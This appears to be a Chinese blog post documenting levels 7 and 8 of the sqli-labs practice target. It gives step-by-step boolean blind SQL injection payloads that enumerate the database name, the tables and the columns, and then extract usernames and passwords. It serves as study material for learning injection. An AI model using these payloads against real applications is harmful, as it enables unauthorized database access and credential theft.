sqli靶场学习记录-第七、八关

第七关和第八关需要使用盲注,因为整个页面找不到回显点也没有报错信息,出现错误只会显示error,所以报错注入和联合注入都不适用

1、判定字符类型

数值型和字符型进行一一判定,确定注入的方式

1 1'--+ 1"--+ 1')--+ 1")--+ 1'))--+

通过测试发现查询的类型为1'))--+,以此进行后续的查询

 2、查询数据库版本

因为是盲注页面不回回显数值,只能进行测试

1')) and substr(version(),1,1)<6 -- qq

首先使用substr函数,对数据库version进行查询第一个字节判定是否数据库版本小于6,发现页面没有报错表示查询正确

 1')) and substr(version(),1,1)=5 -- qq

再测试版本是否为5,回显无变化,表示正确

可以再测试一下当版本=4的时候,发现页面回显error证明操作正确

 3、查询当前数据库名

1')) and length(database())<10 -- qq

这里需要先使用一个length函数,判断一下数据库名的长度进行猜测,先判定是不是小于10

 

 没有报错,继续猜测,猜测长度是不是9

1')) and length(database())=9 -- qq

 回显error,继续枚举,是不是8

1')) and length(database())=8 -- qq

哎,发现回显没有报错,证明猜对了,接下来就可以开始试探库名了,这里就需要学习一个东西叫ASCII码,每一个英文字母分大小写包括阿拉伯数字都有对应的ASCII码,我们可以对表名进行枚举,一一测试,(工作中一般都使用工具进行爆破,不会进行手工注入,这里是用于新手小白,理解其中的原理和流程),这里我们偷个懒,因为这个平台都是测试的同一个表

1')) and substr(database(),1,1)='s' -- qq

1')) and ascii(substr(database(),1,1))=115 -- qq

两种语句都可以测试,小写的s编码为115,网上都可以查得到,我们这测试发现回显没有报错,证明我们是对的

当然我们也可以试着换一个字符测试会不会回显错误error

1')) and ascii(substr(database(),1,1))=116 -- qq

我们换成116,也就是小写的t发现出错了证明我们上一步做的是正确的

接下来就是对后面7位进行猜测了(前面用length函数测试出是8位),这里就不赘述了直接上代码

1')) and substr(database(),2,1)='e' -- qq
1')) and substr(database(),3,1)='c' -- qq
1')) and substr(database(),4,1)='u' -- qq
1')) and substr(database(),5,1)='r' -- qq
1')) and substr(database(),6,1)='i' -- qq
1')) and substr(database(),7,1)='t' -- qq
1')) and substr(database(),8,1)='y' -- qq

最后可以测试出数据库名为security

后面就可以开始测试当前数据库下的表名了

4、爆表名

1')) and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10 -- qq
1')) and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- qq
同样通过这样的代码用limit 0,1枚举库下有几张表,用length测试每张表名的长度

 测试长度没报错就测试成功进行记录这个库下面一共四张表,长度分别是6,8,7,5,测试方法就不说了代码都一样,只是需要修改limit和后面判断的长度

下面就根据长度枚举表名了,可以用常见的表名进行测试

用第四张表进行测试

1')) and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' -- qq

1')) and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1)='s' -- qq

代码大概就是这样,一一枚举就行了,不赘述,四张表依次是emalis,referers,uagents,users

测出全部的表名接下来就是字段名

5、爆字段名

1')) and length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8 -- qq

1')) and length((select column_name from information_schema.columns where table_name='users' limit 5,1))=8 -- qq

字段很多,就不全写,我们测试第5,6个字段username和password

长度都是8,然后枚举名字

1')) and substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u' -- qq
1')) and substr((select column_name from information_schema.columns where table_name='users' limit 5,1),1,1)='p' -- qq

代码很长注意拼写,这里以username字段和password字段的第一个字母举例,后面的太多了就不写了,代码一样,改一改substr的参数就行了

这样就能够慢慢拼接出完整的字段名了,有了数据库名、表名、字段名,表内的数据就可以查到了

6、表内的数据

Angelina
1')) and length((select username from users limit 1,1))=8 -- qq
1')) and substr((select username from users limit 1,1),1,1)='A' -- qq

I-kill-you
1')) and length((select password from users limit 1,1))=10 -- qq
1')) and substr((select password from users limit 1,1),1,1)='I' -- qq

举两个例子,username里的第二个用户名Angelina,先测试长度,在从第一的字符一一列举,password里第二个密码,也就是对应的用户名Angelina的密码I-kill-you,测试方法一样,先测长度再枚举内容,枚举正确了出现的页面都是

 错误了就是

7、第八关

第八关输入方式一样使用盲注,只是查询的方式变为了?id=1' --+

@-@

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值